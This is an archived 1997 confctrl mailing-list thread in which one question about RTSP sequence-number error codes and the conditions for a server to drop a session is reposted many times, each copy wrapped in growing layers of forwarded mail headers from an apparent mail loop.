From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



From majordom@ISI.EDU  Fri May 30 13:20:57 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 30 15:06:52 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 30 16:38:44 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 30 18:07:03 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 30 20:14:32 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA26025>; Fri, 30 May 1997 21:15:16 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA26019>; Fri, 30 May 1997 21:15:13 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA24469>; Fri, 30 May 1997 21:15:11 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001100.1063.777332; Sat, 31 May 1997 00:14:32 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.001100.1063.777332@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 00:14:32 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203421.1063.480990; Fri, 30 May 1997 20:34:22 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17723>; Fri, 30 May 1997 16:07:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA17717>; Fri, 30 May 1997 16:07:31 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA04159>; Fri, 30 May 1997 16:07:29 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184547.1063.777234; Fri, 30 May 1997 19:06:52 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.184547.1063.777234@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 19:06:52 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220055.1063.481011; Fri, 30 May 1997 22:00:58 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22009>; Fri, 30 May 1997 17:39:28 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA22003>; Fri, 30 May 1997 17:39:27 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA06648>; Fri, 30 May 1997 17:39:20 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.203400.1063.777270; Fri, 30 May 1997 20:38:44 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.203400.1063.777270@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 20:38:44 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.001145.1063.481034; Sat, 31 May 1997 00:11:46 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24328>; Fri, 30 May 1997 19:07:45 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA24322>; Fri, 30 May 1997 19:07:43 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA21249>; Fri, 30 May 1997 19:07:41 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.220000.1063.777296; Fri, 30 May 1997 22:07:03 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May30.220000.1063.777296@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Fri, 30 May 1997 22:07:03 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



From majordom@ISI.EDU  Fri May 30 21:49:49 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA26889>; Fri, 30 May 1997 22:50:34 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
	id <AA26883>; Fri, 30 May 1997 22:50:32 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
	id <AA25806>; Fri, 30 May 1997 22:50:25 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May31.014600.1063.777354; Sat, 31 May 1997 01:49:49 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com (goncalves), confctrl@isi.edu (confctrl)
Message-Id: <1997May31.014600.1063.777354@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Organization: Process Software Corporation
Date: Sat, 31 May 1997 01:49:49 -0400
Subject: RTSP Sequence Numbers
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Two questions:

1) There is presently no error code defined in Section 6.1.1 for "bad"
(unrecognized) sequence numbers. Shouldn't there be?

2) Under what error conditions should a server disconnect a "session"
with a client? That is, let's say that the client-server dialog is
plagued by a continual series of bad sequence numbers. At what point
should a server "throw up its hands" and quit the session? How about
other repeated error conditions?



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152727.1063.480772; Fri, 30 May 1997 15:27:27 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00398>; Fri, 30 May 1997 10:47:56 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA00392>; Fri, 30 May 1997 10:47:54 -0700
Received: from mail3.microsoft.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA19119>; Fri, 30 May 1997 10:47:53 -0700
Received: by mail3.microsoft.com with Internet Mail Service (5.0.1458.30)
 id <LXLSJTNX>; Fri, 30 May 1997 10:50:05 -0700
Message-Id:
<503A2A3C2932CF118D8800805FD44E18036DA9AB@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: confctrl@isi.edu
Subject: RTSP Sequence Numbers
Date: Fri, 30 May 1997 10:47:52 -0700
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1458.30)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



------ Message Header Follows ------
Received: from zephyr.isi.edu by mars.process.com
  (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.184312.1063.480959; Fri, 30 May 1997 18:43:12 -0400
Received: by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11816>; Fri, 30 May 1997 14:21:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-25)
 id <AA11804>; Fri, 30 May 1997 14:21:37 -0700
Received: from mars.process.com by venera.isi.edu (5.65c/5.61+local-28)
 id <AA28044>; Fri, 30 May 1997 14:21:33 -0700
Received: from Microsoft Mail (PU Serial #1063)
  by mars.process.com (PostalUnion/SMTP(tm) v2.1.9a for Windows NT(tm))
  id AA-1997May30.152700.1063.777074; Fri, 30 May 1997 17:20:57 -0400
From: ericfl@MICROSOFT.com (Eric Fleischman)
To: goncalves@exchange.process.com, confctrl@isi.edu (confctrl)
Message-Id: <1997May30.152700.1063.777074@mars.process.com>
X-Mailer: Microsoft Mail via PostalUnion/SMTP for Windows NT
Organization: Process Software Corporation
Date: Fri, 30 May 1997 17:20:57 -0400
